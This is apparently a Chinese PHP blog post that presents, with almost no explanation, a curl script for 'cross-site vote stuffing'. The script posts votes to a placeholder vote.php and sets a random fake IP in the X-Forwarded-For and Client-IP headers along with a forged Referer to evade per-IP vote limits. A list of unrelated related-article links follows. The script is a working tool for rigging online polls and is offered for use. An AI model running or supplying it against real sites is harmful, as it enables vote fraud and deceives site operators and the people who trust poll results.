解析PHP跨站刷票的实现代码


Posted in PHP onJune 18, 2013

废话不多说,上代码

function curlrequest($url, $postfield,$referer='',$cookie='') { 
 //https://3water.com 
  $ip= rand(100, 244).'.'.rand(100, 244).'.'.rand(100, 244).'.'.rand(100, 244); 
  $ch = curl_init(); 
  curl_setopt($ch, CURLOPT_URL, $url); 
  curl_setopt($ch, CURLOPT_HEADER, 0); 
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
  curl_setopt($ch, CURLOPT_POST, 1); 
  curl_setopt($ch, CURLOPT_POSTFIELDS, $postfield); 
  curl_setopt($ch, CURLOPT_COOKIE, $cookie); 
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip)); //构造IP 
 curl_setopt($ch, CURLOPT_REFERER, $referer); //构造来路 
  $data = curl_exec($ch); //运行curl 
  curl_close($ch); 
  return $data; 
 } 
 $url='http://xxxxx/vote.php'; 
 $ref='http://xxxxx/index.php'; 
 $cookies='';//构造你的cookies 
 $postfield=array( 
  'information_id'=>201204211839164950 
 ); 
 $postfield = http_build_query($postfield); 
 $result = curlrequest($url, $postfield,$ref,$cookies); 
 echo $result;
PHP 相关文章推荐
php preg_filter执行一个正则表达式搜索和替换
Feb 27 PHP
控制PHP的输出:缓存并压缩动态页面
Jun 11 PHP
php获取服务器端mac和客户端mac的地址支持WIN/LINUX
May 15 PHP
smarty模板局部缓存方法使用示例
Jun 17 PHP
destoon后台网站设置变成空白的解决方法
Jun 21 PHP
Linux下安装PHP MSSQL扩展教程
Oct 24 PHP
Thinkphp中数据按分类嵌套循环实现方法
Oct 30 PHP
php判断两个浮点数是否相等的方法
Mar 14 PHP
PHP中strncmp()函数比较两个字符串前2个字符是否相等的方法
Jan 07 PHP
关于PHP中字符串与多进制转换函数的实例代码
Nov 03 PHP
PHP实现上传多图即时显示与即时删除的方法
May 09 PHP
深入分析PHP设计模式
Jun 15 PHP
解析PHP SPL标准库的用法(遍历目录,查找固定条件的文件)
Jun 18 #PHP
360通用php防护代码(使用操作详解)
Jun 18 #PHP
浅析PHP程序防止ddos,dns,集群服务器攻击的解决办法
Jun 18 #PHP
解析PHP计算页面执行时间的实现代码
Jun 18 #PHP
php实现简单洗牌算法
Jun 18 #PHP
php抽奖小程序的实现代码
Jun 18 #PHP
解析PHP生成静态html文件的三种方法
Jun 18 #PHP
You might like
德生PL550的电路分析
2021/03/02 无线电
德生PL330测评
2021/03/02 无线电
PHP脚本数据库功能详解(下)
2006/10/09 PHP
木翼下载系统中说明的PHP安全配置方法
2007/06/16 PHP
php XPath对XML文件查找及修改实现代码
2011/07/27 PHP
JS图片切换的具体方法(带缩略图版)
2013/11/12 Javascript
JavaScript检测浏览器cookie是否已经启动的方法
2015/02/27 Javascript
使用CDN和AJAX加速WordPress中jQuery的加载
2015/12/05 Javascript
JQ图片文件上传之前预览功能的简单实例(分享)
2017/11/12 Javascript
JS实现的简单折叠展开动画效果示例
2018/04/28 Javascript
vue弹窗组件的实现示例代码
2018/09/10 Javascript
layui的layedit富文本赋值方法
2019/09/18 Javascript
JavaScript中条件语句的优化技巧总结
2020/12/04 Javascript
js仿淘宝放大镜效果
2020/12/28 Javascript
element 动态合并表格的步骤
2020/12/31 Javascript
[59:32]Liquid vs Fnatic 2019国际邀请赛淘汰赛败者组BO1 8.20.mp4
2020/07/19 DOTA
[01:20]PWL S2开团时刻第三期——团战可以输 蝙蝠必须死
2020/11/26 DOTA
pygame学习笔记(2):画点的三种方法和动画实例
2015/04/15 Python
python实现俄罗斯方块
2018/06/26 Python
使用Python实现租车计费系统的两种方法
2018/09/29 Python
手把手教你如何安装Pycharm(详细图文教程)
2018/11/28 Python
python爬虫获取新浪新闻教学
2018/12/23 Python
Python基于OpenCV实现人脸检测并保存
2019/07/23 Python
html5 兼容IE6结构的实现代码
2012/05/14 HTML / CSS
详解移动端h5页面根据屏幕适配的四种方案
2020/04/15 HTML / CSS
英国受欢迎的运动鞋和街头服装商店:Footasylum
2018/06/12 全球购物
高性能装备提升营地:Kammok
2019/02/27 全球购物
日语翻译个人求职的自我评价
2013/10/14 职场文书
师德师风的心得体会
2014/09/02 职场文书
法制演讲稿
2014/09/10 职场文书
死亡证明书样本说明
2014/10/18 职场文书
群众路线党员个人整改措施
2014/10/27 职场文书
孕妇离婚协议书范本
2014/11/20 职场文书
幼儿园班级工作总结2015
2015/05/25 职场文书
Java用自带的Image IO给图片添加水印
2021/06/15 Java/Android
基于PyQt5制作一个群发邮件工具
2022/04/08 Python